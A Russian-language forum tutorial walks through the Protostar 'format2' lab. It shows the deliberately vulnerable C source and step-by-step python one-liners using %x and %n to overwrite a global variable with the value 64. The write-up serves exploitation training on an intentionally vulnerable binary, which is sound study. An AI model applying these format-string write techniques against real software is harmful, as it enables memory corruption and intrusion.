Статья Уязвимости форматных строк и перезапись глобальных переменных к конкретному значению - Изучение методов эксплуатации на примерах, часть 12

Доброго времени суток, посетители портала codeby. Продолжаем разбирать уязвимости форматных строк. И так мы ознакомились с перезаписью переменных, на этот раз мы будем перезаписывать переменные к конкретному значению. В глобальной области памяти.

Описание ExploitMe
Этот уровень переход от format1, тут показывается, как конкретные значения могут быть записаны в памяти.

Этот уровень находится в / opt / protostar / bin / format2

, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Решение
Вглядываясь в исходный код программы мы видим, что код особо не чем не отличается от предыдущего. Единственное что тут важно для нас это измененное условие в конструкции if. Теперь переменная target которая лежит в глобальной области памяти, она у нас лежит в секции .bss, потому что она не инициализирована. Т.е. в переменную не положили не какие данные. Должна принять данные, мы должны записать данные в эту переменную, число 64.

Как будем действовать ? ) Используем тот же прием, что и раньше, мы будем находить начало нашей строки формата в памяти.

Но для начало узнаем адрес переменной target.

Код:
objdump -t format2 | grep "target"

30825


Отлично адрес переменной получен "080496e4"

Теперь найдем нашу строку в памяти… И так

Код:
python -c "print 'AAAA' + '%x.'*100" | ./format2

На выходе мы получаем вот такую вот картину.

30826


Как оказалось наша строка лежит не так далеко…

30827


Код:
python -c "print 'AAAA' + '%x.'*3" | ./format2
python -c "print 'AAAA' + '%x.'*4" | ./format2

Теперь когда мы знаем где лежит наша строка, попробуем что-нибудь записать в переменную target.

Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*3 + '%n'" | ./format2

30828


Видно, что нам удалось записать в переменную target данные и эта переменная стала равна 26. А нам нужно 64…

Тут нужно сказать, что спецификатор формата %n записывает количество байтов, которые уже были записаны функцией. Мы контролируем это. А теперь, чтобы записать определенное количество байт воспользуемся спецификаторами формата.

%d — Десятичное целое число со знаком
%i — Десятичное целое число со знаком
%u — Десятичное целое число без знака

Любой из этих трех спецификатор сгодится для данной задачи… И так положим в место третьего спецификатора формата %x наш выбранный нами спецификатор для записи…

Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%100d' +'%n'" | ./format2

30829


117 очень много!!!

Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%50d' +'%n'" | ./format2

30830


67 тоже много!! Но уже близко. Нужно 64. Значит 67-3=64. То, есть, получается нам нужно подставить %47d.

Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%47d' +'%n'" | ./format2

30831


Отлично мы достигли нашей цели! На экране отобразилась строчка «you have modified the target :)», что свидетельствует нам, о том, что можно переходить на следующий уровень .
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!